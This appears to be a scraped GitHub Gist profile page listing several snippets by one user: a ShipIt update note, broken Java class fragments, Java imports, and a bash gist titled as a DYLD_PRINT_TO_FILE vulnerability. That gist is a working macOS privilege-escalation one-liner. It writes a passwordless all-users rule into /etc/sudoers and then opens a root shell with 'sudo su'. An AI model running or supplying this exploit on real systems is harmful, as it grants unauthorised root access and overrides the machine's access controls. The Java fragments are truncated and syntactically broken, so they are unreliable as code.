Skip to content

Instantly share code, notes, and snippets.

Sean Zhu szhu

View GitHub Profile
szhu /
Created Jul 28, 2016
Force Squirrel/ShipIt update
/Applications/ io.webtorrent.webtorrent.ShipIt
import java.util.*;
class Animal { // implements Comparable<Animal> {
public String name;
public int age;
public Animal(String name, int age) { = name;
this.age = age;
szhu / oops.bash
Created Jul 23, 2015
DYLD_PRINT_TO_FILE vulerability
View oops.bash
echo python -c '"import os; os.write(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp
sudo su
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.Collection;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
You can’t perform that action at this time.